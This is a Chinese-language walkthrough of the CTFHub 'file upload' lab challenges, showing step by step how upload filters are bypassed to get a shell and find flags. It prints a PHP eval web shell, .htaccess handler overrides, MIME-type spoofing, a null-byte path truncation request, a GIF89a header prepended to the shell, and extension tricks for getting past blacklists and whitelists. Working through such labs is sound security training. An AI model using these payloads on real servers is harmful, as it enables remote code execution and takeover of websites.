CTFHub技能树 Web-文件上传详解

CTFHub技能树 Web-文件上传详解

文章目录

    • 0x01 无验证
    • 0x02 前端验证
    • 0x03 .htaccess
    • 0x04 MIME绕过
    • 0x05 00截断
    • 0x06 双写后缀
    • 0x07 文件头检查
    • 0x08 其他
    • 摘抄

0x01 无验证

介绍:直接上传后缀是php的文件即可

在这里插入图片描述

文件上传
<?php @eval($_POST['777']);?>

在这里插入图片描述

在这里插入图片描述

进行连接

在这里插入图片描述

查找flag

在这里插入图片描述

0x02 前端验证

介绍:直接查看网页源代码,发现只能上传.jpg,.png,.gif三种格式的文件,前端上传jpg,修改数据包进行上传

在这里插入图片描述

第一步 上传.jpg图片

在这里插入图片描述

第二步 修改后的数据包

在这里插入图片描述

第三步 进行连接

在这里插入图片描述

第四步 查找flag

在这里插入图片描述

0x03 .htaccess

介绍:hatccess文件,.htaccess是Apache的又一特色。
● 一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件),
● 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
● 作为用户,所能使用的命令受到限制。
● 简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

在这里插入图片描述

● 查看源代码,发现文件后缀都被禁用了
在这里插入图片描述

方法一:
第一步 上传.htaccess文件

AddType application/x-httpd-php .png  //.png文件当作php文件解析

在这里插入图片描述

在这里插入图片描述

第二步 上传png的文件

在这里插入图片描述

在这里插入图片描述

第三步 进行连接

在这里插入图片描述

在这里插入图片描述

方法二:
第一步 上传.htaccess


//只要文件名中包含pass777,就会被Apache解析为php文件。
<FilesMatch "pass777">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

在这里插入图片描述

第二步 文件上传

在这里插入图片描述

在这里插入图片描述

第三步 进行连接

在这里插入图片描述

在这里插入图片描述

0x04 MIME绕过

介绍:MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。
● 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
● 多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
● MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
常见的MME类型,例如:

#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

在这里插入图片描述

第一步 进行文件上传

在这里插入图片描述

第二步 修改数据包
Content-Type: image/jpeg

在这里插入图片描述

第三步 进行连接

在这里插入图片描述

0x05 00截断

http://www.admintony.com/%E5%85%B3%E4%BA%8E%E4%B8%8A%E4%BC%A0%E4%B8%AD%E7%9A%8400%E6%88%AA%E6%96%AD%E5%88%86%E6%9E%90.html
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00

在这里插入图片描述

第一步 进行文件上传

在这里插入图片描述

第二步 修改数据包

POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1

在这里插入图片描述

第三步 进行连接

在这里插入图片描述

在这里插入图片描述

0x06 双写后缀

介绍 发现文件成功,但是后缀名缺失

在这里插入图片描述

第一步 文件上传

在这里插入图片描述

第二步 修改数据包

在这里插入图片描述

在这里插入图片描述

第三步 进行连接,并查找文件

在这里插入图片描述

在这里插入图片描述

0x07 文件头检查

介绍:图片的文件头:GIF89a

在这里插入图片描述

第一步 文件上传

在这里插入图片描述

第二步 更改数据包

------WebKitFormBoundaryff32JeQTam0WpVd7
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST['777']);?>

在这里插入图片描述

第三步 进行连接,查找flag

在这里插入图片描述

0x08 其他

黑名单绕过
通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6

白名单绕过
通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。

扩展名大小写来绕过
例如:pHp,Php,phP。

双写后缀绕过
例如:pphphp

在这里插入图片描述

摘抄


很多人都曾梦想做一番大事业,但其实一点点小事累积就成了大事,任何大的成就也都是累积的结果,这就是累积定律。

如果你想获得成长,就从认真完成手头的小任务开始;如果你想拥有一个好身材,就从慢跑1公里开始;如果你想有好的文笔,就从看一本书开始。你想成为一个什么样的人,想过什么样的生活,其实都取决于你每一个决定。

任何事情只要开始就不晚,人生的路,每一步都算数。做你想做的事,努力成为你想成为的人,就从现在开始行动吧。
—《累积定律》


                       

点击阅读全文

上一篇 2023年 5月 27日 am10:18
下一篇 2023年 5月 27日 am10:21